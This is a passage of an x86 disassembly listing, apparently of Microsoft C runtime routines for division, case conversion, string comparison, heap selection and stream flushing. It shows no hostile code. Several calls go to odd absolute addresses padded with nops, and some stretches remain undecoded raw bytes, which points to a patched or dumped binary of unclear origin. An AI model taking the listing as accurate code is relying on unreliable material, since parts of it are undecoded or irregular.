		jmp	short loc_41D59A
; ---------------------------------------------------------------------------

loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596

loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi

loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi

loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D5AA	proc near		; CODE XREF: sub_4170EC+BFp
					; sub_4170EC+12Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DB334
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_4], ebx
		jnz	short loc_41D5DE
		mov	eax, [ebp+arg_0]
		mov	edx, eax
		cmp	[eax], bl
		jz	short loc_41D645

loc_41D5C6:				; CODE XREF: sub_41D5AA+30j
		mov	cl, [edx]
		cmp	cl, 61h
		jl	short loc_41D5D7
		cmp	cl, 7Ah
		jg	short loc_41D5D7
		sub	cl, 20h
		mov	[edx], cl

loc_41D5D7:				; CODE XREF: sub_41D5AA+21j
					; sub_41D5AA+26j
		inc	edx
		cmp	[edx], bl
		jnz	short loc_41D5C6
		jmp	short loc_41D645
; ---------------------------------------------------------------------------

loc_41D5DE:				; CODE XREF: sub_41D5AA+11j
		push	esi
		push	edi
		push	1
		push	ebx
		push	ebx
		push	ebx
		push	0FFFFFFFFh
		mov	esi, 200h
		push	[ebp+arg_0]
		push	esi
		push	eax
		call	sub_422ACA
		mov	edi, eax
		add	esp, 20h
		cmp	edi, ebx
		jz	short loc_41D637
		push	edi
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_41D637
		push	1
		push	ebx
		push	edi
		push	eax
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		push	esi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D637
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41BEB0
		pop	ecx
		pop	ecx

loc_41D637:				; CODE XREF: sub_41D5AA+53j
					; sub_41D5AA+61j ...
		push	[ebp+var_4]
		call	sub_41B0B1
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	edi
		pop	esi

loc_41D645:				; CODE XREF: sub_41D5AA+1Aj
					; sub_41D5AA+32j
		pop	ebx
		leave
		retn
sub_41D5AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D648	proc near		; CODE XREF: sub_417ADD+1A8p

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D65F
		push	4
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D65F:				; CODE XREF: sub_41D648+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 4
		retn
sub_41D648	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D670	proc near		; CODE XREF: sub_420510+76p
					; sub_420510+88p ...

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		jle	short loc_41D687
		push	8
		push	[esp+4+arg_0]
		call	sub_41F515
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41D687:				; CODE XREF: sub_41D670+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_43C2F8
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41D670	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41D6EC
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41D6ED
		test	eax, 1
		jz	short loc_41D6CD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41D71A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41D6EA

loc_41D6CD:				; CODE XREF: ___:0041D6C0j
					; ___:0041D6E8j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41D71A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41D71A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41D6CD

loc_41D6EA:				; CODE XREF: ___:0041D6CBj
					; ___:0041D724j
		pop	edi
		pop	esi

locret_41D6EC:				; CODE XREF: ___:0041D6A6j
		retn
; ---------------------------------------------------------------------------

loc_41D6ED:				; CODE XREF: ___:0041D6B9j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41D722
		repe cmpsd
		jz	short loc_41D722
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh
		jnz	short loc_41D715
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41D715
		cmp	ch, dh

loc_41D715:				; CODE XREF: ___:0041D703j
					; ___:0041D707j ...
		mov	eax, 0

loc_41D71A:				; CODE XREF: ___:0041D6C6j
					; ___:0041D6D3j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41D722:				; CODE XREF: ___:0041D6F5j
					; ___:0041D6F9j
		test	eax, eax
		jz	short loc_41D6EA
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		cmp	dh, ch
		jnz	short loc_41D715
		dec	eax
		jz	short loc_41D749
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41D715
		dec	eax

loc_41D749:				; CODE XREF: ___:0041D72Fj
					; ___:0041D736j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D74C	proc near		; CODE XREF: sub_418068+6p
					; sub_418086+4Ap ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4DB334, 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41D779
		mov	eax, [ebp+arg_0]
		cmp	eax, 41h
		jl	loc_41D812
		cmp	eax, 5Ah
		jg	loc_41D812
		add	eax, 20h
		jmp	loc_41D812
; ---------------------------------------------------------------------------

loc_41D779:				; CODE XREF: sub_41D74C+Ej
		mov	ebx, [ebp+arg_0]
		mov	edi, 100h
		push	1
		cmp	ebx, edi
		pop	esi
		jge	short loc_41D7AD
		cmp	dword_43C504, esi
		jle	short loc_41D79B
		push	esi
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41D7A5
; ---------------------------------------------------------------------------

loc_41D79B:				; CODE XREF: sub_41D74C+42j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, esi

loc_41D7A5:				; CODE XREF: sub_41D74C+4Dj
		test	eax, eax
		jnz	short loc_41D7AD

loc_41D7A9:				; CODE XREF: sub_41D74C+ADj
		mov	eax, ebx
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D7AD:				; CODE XREF: sub_41D74C+3Aj
					; sub_41D74C+5Bj
		mov	edx, off_43C2F8
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D7D1
		and	byte ptr [ebp+arg_0+2],	0
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		pop	eax
		jmp	short loc_41D7DA
; ---------------------------------------------------------------------------

loc_41D7D1:				; CODE XREF: sub_41D74C+74j
		and	byte ptr [ebp+arg_0+1],	0
		mov	byte ptr [ebp+arg_0], bl
		mov	eax, esi

loc_41D7DA:				; CODE XREF: sub_41D74C+83j
		push	esi
		push	0
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	edi
		push	dword_4DB334
		call	sub_422ACA
		add	esp, 20h
		test	eax, eax
		jz	short loc_41D7A9
		cmp	eax, esi
		jnz	short loc_41D805
		movzx	eax, [ebp+var_4]
		jmp	short loc_41D812
; ---------------------------------------------------------------------------

loc_41D805:				; CODE XREF: sub_41D74C+B1j
		movzx	eax, [ebp+var_3]
		movzx	ecx, [ebp+var_4]
		shl	eax, 8
		or	eax, ecx

loc_41D812:				; CODE XREF: sub_41D74C+16j
					; sub_41D74C+1Fj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D74C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D817	proc near		; CODE XREF: sub_4185A4+ADp
					; sub_419593+55p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_41D82E

loc_41D824:				; CODE XREF: sub_41D817+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_41D824

loc_41D82E:				; CODE XREF: sub_41D817+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41D817	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D834	proc near		; CODE XREF: sub_4185A4+7Fp
					; sub_4185A4+90p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_41D901
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_41D92E
		cmp	dword_4DB334, esi
		jnz	short loc_41D885
		cmp	edi, esi
		jbe	loc_41D92E

loc_41D864:				; CODE XREF: sub_41D834+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_41D92E
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_41D864
		jmp	loc_41D92E
; ---------------------------------------------------------------------------

loc_41D885:				; CODE XREF: sub_41D834+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_427180
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	loc_41D92D
		call	near ptr 2690CE2h
		nop
		cmp	eax, 7Ah
		jz	short loc_41D8BF

loc_41D8B0:				; CODE XREF: sub_41D834+CBj
					; sub_41D834+F7j
		mov	dword_4DB278, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D8BF:				; CODE XREF: sub_41D834+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_41D8C7:				; CODE XREF: sub_41D834+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_41D8E9
		mov	edx, off_43C2F8
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_41D8DE
		inc	eax

loc_41D8DE:				; CODE XREF: sub_41D834+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_41D8C7

loc_41D8E9:				; CODE XREF: sub_41D834+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4DB344
		call	esi
		test	eax, eax
		jnz	short loc_41D92E
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------

loc_41D901:				; CODE XREF: sub_41D834+Fj
		cmp	dword_4DB334, esi
		jnz	short loc_41D914
		push	[ebp+arg_4]
		call	sub_41AFE0
		pop	ecx
		jmp	short loc_41D92E
; ---------------------------------------------------------------------------

loc_41D914:				; CODE XREF: sub_41D834+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DB344
		nop
		call	near ptr 2830000h
		cmp	eax, esi
		jz	short loc_41D8B0

loc_41D92D:				; CODE XREF: sub_41D834+6Bj
		dec	eax

loc_41D92E:				; CODE XREF: sub_41D834+1Aj
					; sub_41D834+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D834	endp

; ---------------------------------------------------------------------------
		db 50h
		dd 0C5B4F4ACh, 77F541DAh, 0C65DA0D3h, 0A1647E39h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 0F8E890E8h, 3302463Fh,	89D48AD2h
		dd 4DB29015h, 81C88B00h, 0FFE1h, 8C0D8900h, 0C1004DB2h
		dd 0CA0308E1h, 0B2880D89h, 0E8C1004Dh, 0B284A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 5BE8FC75h, 90000059h, 463F95E8h, 0C90CA302h,	19E8004Dh
		dd 0A3000058h, 4DB2E8h,	55C2E8h, 5504E800h, 0B9E80000h
		dd 89FFFFDDh, 458DD075h, 0E89050A4h, 2462628h, 5495E8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0A3E89056h, 5002282Bh, 0FE3820E8h, 0A04589FFh
		dd 0DDA7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	0D3E85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDD99E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41DA29	proc near		; CODE XREF: sub_41D052+16p
					; ___:00422F18p ...

arg_0		= dword	ptr  4

		cmp	dword_4DB2F0, 1
		jnz	short loc_41DA37
		call	sub_423590

loc_41DA37:				; CODE XREF: sub_41DA29+7j
		push	[esp+arg_0]
		call	sub_4235C9
		push	0FFh
		call	off_43A2C0
		pop	ecx
		pop	ecx
		retn
sub_41DA29	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DB2F0
		dd 0E8057501h, 5B34h, 42474FFh,	5B64E8h, 0FF685900h, 90000000h
		dd 0A58244E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DA72	proc near		; CODE XREF: sub_41B05B+2Ap
					; sub_423A33+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DC6C0
		jnb	loc_41DB0C
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DC5C0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41DB0C
		push	edi
		call	sub_4238A2
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DAEB
		cmp	edi, 1
		jz	short loc_41DAB9
		cmp	edi, 2
		jnz	short loc_41DACF

loc_41DAB9:				; CODE XREF: sub_41DA72+40j
		push	2
		call	sub_4238A2
		push	1
		mov	ebp, eax
		call	sub_4238A2
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41DAEB

loc_41DACF:				; CODE XREF: sub_41DA72+45j
		push	edi
		call	sub_4238A2
		pop	ecx
		push	eax
		call	near ptr 26708E6h
		nop
		test	eax, eax
		jnz	short loc_41DAEB
		nop
		call	near ptr 2690CE2h
		mov	ebp, eax
		jmp	short loc_41DAED
; ---------------------------------------------------------------------------

loc_41DAEB:				; CODE XREF: sub_41DA72+3Bj
					; sub_41DA72+5Bj ...
		xor	ebp, ebp

loc_41DAED:				; CODE XREF: sub_41DA72+77j
		push	edi
		call	sub_423828
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41DB08
		push	ebp
		call	sub_4203DF
		pop	ecx
		jmp	short loc_41DB1D
; ---------------------------------------------------------------------------

loc_41DB08:				; CODE XREF: sub_41DA72+8Bj
		xor	eax, eax
		jmp	short loc_41DB20
; ---------------------------------------------------------------------------

loc_41DB0C:				; CODE XREF: sub_41DA72+Ej
					; sub_41DA72+2Fj
		and	dword_4DB27C, 0
		mov	dword_4DB278, 9

loc_41DB1D:				; CODE XREF: sub_41DA72+94j
		or	eax, 0FFFFFFFFh

loc_41DB20:				; CODE XREF: sub_41DA72+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41DA72	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB25	proc near		; CODE XREF: sub_41B05B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41DB4E
		test	al, 8
		jz	short loc_41DB4E
		push	dword ptr [esi+8]
		call	sub_41B0B1
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax

loc_41DB4E:				; CODE XREF: sub_41DB25+Aj
					; sub_41DB25+Ej
		pop	esi
		retn
sub_41DB25	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB50	proc near		; CODE XREF: sub_41DBF0+2Dp
					; sub_41DBF0+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41DB62
		push	esi
		call	sub_41DBF0
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB62:				; CODE XREF: sub_41DB50+7j
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jz	short loc_41DB72
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41DB72:				; CODE XREF: sub_41DB50+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41DB87
		push	dword ptr [esi+10h]
		call	sub_4238DF
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41DB87:				; CODE XREF: sub_41DB50+26j
		xor	eax, eax
		pop	esi
		retn
sub_41DB50	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB8B	proc near		; CODE XREF: sub_41B05B+1Ap
					; ___:0041D223p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41DBD8
		test	ax, 108h
		jz	short loc_41DBD8
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41DBD8
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41DBD1
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41DBD8
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41DBD8
; ---------------------------------------------------------------------------

loc_41DBD1:				; CODE XREF: sub_41DB8B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh

loc_41DBD8:				; CODE XREF: sub_41DB8B+14j
					; sub_41DB8B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DB8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBE7	proc near		; CODE XREF: sub_4239DBp
		push	1
		call	sub_41DBF0
		pop	ecx
		retn
sub_41DBE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DBF0	proc near		; CODE XREF: sub_41DB50+Ap
					; sub_41DBE7+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DC5A0, esi
		jle	short loc_41DC4E

loc_41DC01:				; CODE XREF: sub_41DBF0+5Cj
		mov	eax, dword_4DB598
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41DC45
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41DC45
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41DC2B
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41DC45
		inc	ebx
		jmp	short loc_41DC45
; ---------------------------------------------------------------------------

loc_41DC2B:				; CODE XREF: sub_41DBF0+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41DC45
		test	cl, 2
		jz	short loc_41DC45
		push	eax
		call	sub_41DB50
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41DC45
		or	edi, eax

loc_41DC45:				; CODE XREF: sub_41DBF0+1Bj
					; sub_41DBF0+23j ...
		inc	esi
		cmp	esi, dword_4DC5A0
		jl	short loc_41DC01

loc_41DC4E:				; CODE XREF: sub_41DBF0+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41DC59
		mov	eax, edi

loc_41DC59:				; CODE XREF: sub_41DBF0+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41DBF0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DC5D	proc near		; CODE XREF: ___:0041DDC0p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 26A059Eh
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41DC88
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41DC88
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al

loc_41DC88:				; CODE XREF: sub_41DC5D+15j
					; sub_41DC5D+1Cj
		pop	esi
		retn
sub_41DC5D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41BB20
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26E0605h
		test	eax, eax
		jz	short loc_41DCCD
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41DCCD
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41DCCD
		push	1
		pop	eax
		jmp	loc_41DDCF
; ---------------------------------------------------------------------------

loc_41DCCD:				; CODE XREF: ___:0041DCB1j
					; ___:0041DCBAj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 2890000h
		nop
		test	eax, eax
		jz	loc_41DDBC
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41DD0F

loc_41DCFC:				; CODE XREF: ___:0041DD0Dj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD0A
		cmp	al, 7Ah
		jg	short loc_41DD0A
		sub	al, 20h
		mov	[ecx], al

loc_41DD0A:				; CODE XREF: ___:0041DD00j
					; ___:0041DD04j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DCFC

loc_41DD0F:				; CODE XREF: ___:0041DCFAj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41BE70
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD31
		lea	eax, [ebp-122Ch]
		jmp	short loc_41DD7A
; ---------------------------------------------------------------------------

loc_41DD31:				; CODE XREF: ___:0041DD27j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		call	near ptr 2680000h
		nop
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41DD65

loc_41DD52:				; CODE XREF: ___:0041DD63j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41DD60
		cmp	al, 7Ah
		jg	short loc_41DD60
		sub	al, 20h
		mov	[ecx], al

loc_41DD60:				; CODE XREF: ___:0041DD56j
					; ___:0041DD5Aj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41DD52

loc_41DD65:				; CODE XREF: ___:0041DD50j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41B900
		pop	ecx
		pop	ecx

loc_41DD7A:				; CODE XREF: ___:0041DD2Fj
		cmp	eax, ebx
		jz	short loc_41DDBC
		push	2Ch
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41DDBC
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41DDA1

loc_41DD93:				; CODE XREF: ___:0041DD9Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41DD9C
		mov	[ecx], bl
		jmp	short loc_41DD9D
; ---------------------------------------------------------------------------

loc_41DD9C:				; CODE XREF: ___:0041DD96j
		inc	ecx

loc_41DD9D:				; CODE XREF: ___:0041DD9Aj
		cmp	[ecx], bl
		jnz	short loc_41DD93

loc_41DDA1:				; CODE XREF: ___:0041DD91j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41BBA6
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41DDCF
		cmp	eax, 3
		jz	short loc_41DDCF
		cmp	eax, 1
		jz	short loc_41DDCF

loc_41DDBC:				; CODE XREF: ___:0041DCE6j
					; ___:0041DD7Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41DC5D
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3

loc_41DDCF:				; CODE XREF: ___:0041DCC8j
					; ___:0041DDB0j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4823F2E8h
		dd 0A3C08502h, 4DC904h,	93E83674h, 83FFFFFEh, 8A303F8h
		dd 75004DC9h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0D9E8004Dh
		dd 90024821h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h
		dd 3A21BFE8h, 0C0859002h, 4DC8FCA3h, 0C3017500h, 4244C8Bh
		dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h
		dd 0D8900h, 0C7004DC9h,	4DC8E805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41DE77	proc near		; CODE XREF: sub_41B0B1+17p
					; sub_41B202+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DC8F8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DC8FC
		lea	ecx, [eax+ecx*4]

loc_41DE87:				; CODE XREF: sub_41DE77+26j
		cmp	eax, ecx
		jnb	short loc_41DE9F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41DEA1
		add	eax, 14h
		jmp	short loc_41DE87
; ---------------------------------------------------------------------------

loc_41DE9F:				; CODE XREF: sub_41DE77+12j
		xor	eax, eax

locret_41DEA1:				; CODE XREF: sub_41DE77+21j
		retn
sub_41DE77	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DEA2	proc near		; CODE XREF: sub_41B0B1+23p
					; sub_41B202+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41E1C6
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41DF78
		sar	edx, 4
		dec	edx
